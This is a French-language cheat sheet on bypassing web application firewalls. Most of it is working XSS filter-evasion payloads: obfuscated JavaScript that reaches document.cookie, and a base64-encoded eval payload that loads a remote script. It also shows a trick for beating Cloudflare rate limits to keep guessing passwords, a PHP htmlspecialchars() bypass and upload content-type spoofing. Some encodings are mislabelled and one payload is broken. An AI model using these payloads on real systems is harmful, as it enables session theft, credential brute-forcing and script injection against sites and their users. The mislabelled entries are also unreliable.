Le principal défi lorsque vous essayez d'adapter un payload de contournement est de déterminer comment la charge utile est comprise par le pare-feu de l'application Web. Puisqu'un WAF ne répond qu'avec une page d'interdiction ou non, il faut avancer par petites étapes ce qui que prendre beaucoups de temps.
Considérons le simple payload suivant:
<script>
Voici un exemple de process de contournement:
<script> //bloqué
<script/x //bloqué (peut-être une regex "<script.*")
:script/x //OK (bloqué si le payload commence par "<")
<tst> //OK (bloqué si le payload commence par "<" et blacklist "script")
<%ascript> //OK (confirme que la regex fonctionne comme ceci "<[blacklist].*"
Maintenant on peut vérifier les caractères possibles dans le tag comme ceci:
%20 : espace
%3d : '
%27 : =
%28 : (
%29 : )
%09 : tab
%0a : newline
<x%20x%3dx%27x%28x%29x%09x%0a> //bloqué (l'un des caractères est bloqué)
fonctionnement par elimination: on va supprimer les caractères un par un
<x%20x%09x> //OK
<%09script> //OK (le backend ne prend pas en compte le tab donnant le résultat espéré)
Lorsque vous essayez de contourner un WAF, il est très important de déterminer d'abord comment fonctionne le filtre frontend/backend avant de tenter de l'exploiter. Si l'entrée est automatiquement encodé et n'est donc pas vulnérable, à quoi bon contourner le pare-feu ?
Il est parfois possible de bypass le rate limit d'un waf Cloudflare en changeant le mot prod à chaque limite atteinte si celui-ci est redirigé vers prod.target.com.
Exemple:
prod.target.com => password1 OK
prod.target.com => password2 OK
prod.target.com => password3 Blocked
crod.target.com => prod.target.com => password3 OK
PHP htmlspecialchars() bypass
PHP 7 et 8 ne filtrent pas le caractère "\":
payload: \x3cimg src=x onerror=alert(1)\x3e@x
Variables globales javascript
#bloqué
document.cookie
#bypass
document%20.%20cookie
document/*foo*/./*bar*/cookie
window["document"]["cookie"]
#bloqué
alert(document.cookie)
#bypass
alert(document['cookie'])
window["alert"](window["document"]["cookie"])
self[/*foo*/"alert"](self[document"/*bar*/]["cookie"])
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])
self["\x61\x6c\x65\x72\x74"](
self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
["\x63\x6f\x6f\x6b\x69\x65"]
)
self["\x65\x76\x61\x6c"](
self["\x61\x74\x6f\x62"](
"dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50\
c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI\
HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn\
QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU\
oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny\
aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L\
y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW\
5kQ2hpbGQoc2NyaXB0KTs="
)
)
a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}}
puis,
self[Object.keys(self)[a()]](document.cookie)
#Trouver le numéro d'index de "alert"
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
#l'appeler avec un exemple de numéro d'index "5"
self[Object.keys(self)[5]](document.domain)
Il est parfois possible de contourner la protection du WAF en utilisant l'en-tête custom 'Content-Encoding: radomtext'.
Changer le header pour les upload de fichiers
Certaines librairies plutôt que d'utiliser le nom de l'extension du fichier pour définir son content-type utilisent son header comme "libmagic" par exemple. (#!/bin/node => content-type: application/javascript)